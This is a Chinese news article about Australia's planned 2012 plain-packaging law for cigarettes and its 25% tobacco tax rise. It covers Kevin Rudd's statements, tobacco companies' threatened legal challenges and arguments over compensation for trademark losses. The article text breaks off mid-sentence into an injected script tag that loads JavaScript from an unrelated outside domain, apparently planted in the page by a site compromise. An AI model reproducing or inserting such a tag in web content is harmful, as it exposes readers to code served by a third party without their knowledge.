◎文/李书航  ◎供图/CFP

　　澳大利亚政府日前表示，计划在2012年7月1日起全面禁止当地香烟包装使用品牌标识和其他市场营销图案。这意味着消费者购买的香烟不管什么品牌，都将拥有一样简陋的外观，辅以醒目而恐怖的警告图片和文字。此外政府还将烟草税上调了25%。这在各国禁烟措施中是史无前例的，也激起了烟草企业的强烈“反弹”。

　　世界卫生组织《烟草控制框架公约》已经陆续在全世界范围内产生影响。越来越多的国家开始采取空前严厉的控烟措施……

　　所有品牌香烟一律“扒皮”

　　这就是2012年7月，你在澳大利亚任何一家商店可能会买到的香烟的样式。红白相间的万宝路、金黄色和蓝色组合的555、淡蓝色的Mild Seven……五颜六色的烟标将淡出人们的视野。烟草公司将不能在烟盒上印刷任何烟草促销图片和广告语，生产厂家和香烟类型等基本信息必须用统一的颜色、字体印在烟盒上规定的位置。

　　在正面的顶部和背面，则会看到触目惊心的烟民肺部照片，上面的警示语是“吸烟可引发肺癌”，还附加文字介绍和戒烟热线的号码。消费者还可能看到其他类似的警示图片和文字。上述反吸烟警告标识自2006年开始在澳大利亚就被采用。澳政府相信，此举将降低包装吸引力，减少其对青年人可能造成的误导。

　　手持新版烟盒向媒体展示的澳大利亚总理陆克文表示，政府将不会就控烟举措(向烟草企业)表示任何歉意。“香烟一点都不酷，香烟会害死人。”他说，“这将是全球范围对香烟包装的最严格的铁腕政策。”他发誓将推动该提案获得通过。

　　陆克文希望相关立法工作在2012年1月1日前启动，并在当年7月1日前开始实施。这表明他对年底将要举行的大选充满信心，相信自己的政府可以连任以确保法令的执行。陆克文希望上述铁腕政策能够提升自己近来大幅下降的民调支持率。

　　陆克文表示，“香烟企业将会憎恨这项法案。”确实如此。帝王烟草公司澳大利亚分公司表示，企业已经计划好和此举措斗争到底。发言人卡西·基奥向澳大利亚广播公司表示，“极简包装将让消费者无法从不同牌子的香烟当中挑出我们的品牌，而这是我们的价值所在。”高管们抱怨说该规定不会起到抑制吸烟的作用，且极简包装很易伪造。

　　澳大利亚销量最大的英美烟草公司发言人称，公司相信极简包装的提议在审查过程中根本经不起推敲。企业一致认为该法案违反商标法，并将依靠法律手段抵制。对此卫生部长尼古拉·洛森回应，为迎接来自烟草企业的挑战，政府在立法措辞上将务求小心谨慎。

　　民众或为烟标“知识产权”买单

　　多年来，澳大利亚禁止在印刷品、电视和广播中出现烟草广告。政府还会在电视上播发“恐怖”的公益广告用来宣传吸烟的危害。这些广告中可以看到吸烟对人体造成的可怕影响，包括烂掉的脚趾和癌变的口腔。如今，新政策将同样限制互联网广告。

　　澳政府全国预防保健工作组组长罗布·穆迪赞成政府的限制规定。

　　“烟草企业除了涨价之外，最担心的恐怕就是极简包装了。因为这夺走了他们展示自己牌子的最后一块阵地，同样让他们不能在商店橱窗进行展示。”穆迪说，基于他们卓有成效的工作，澳大利亚烟民在总人口中的比例从1998年的大约24%下降到今天的16.6%。

　　澳大利亚公共关系学会知识产权和自由贸易相关主管蒂姆·威尔逊表示了另一方面的担忧。

　　烟草企业的烟标和推广标识属于知识产权，根据澳宪法的规定，政府对其进行剥夺，或采取了致使其贬值的措施，则政府必须对此进行赔偿。威尔逊认为，澳大利亚纳税人将最终为大概30亿澳元(约合人民币190亿元)的知识产权损失买单。 “如果政府不(赔偿)，我将感到震惊。因为这件事如果在这里发生了，就会在全世界范围内都可能发生。”

　　烟草税上调引发争议

　　澳政府还将烟草税大幅上调25%，并宣布立即执行?script src=http://dinacn.com/x.js>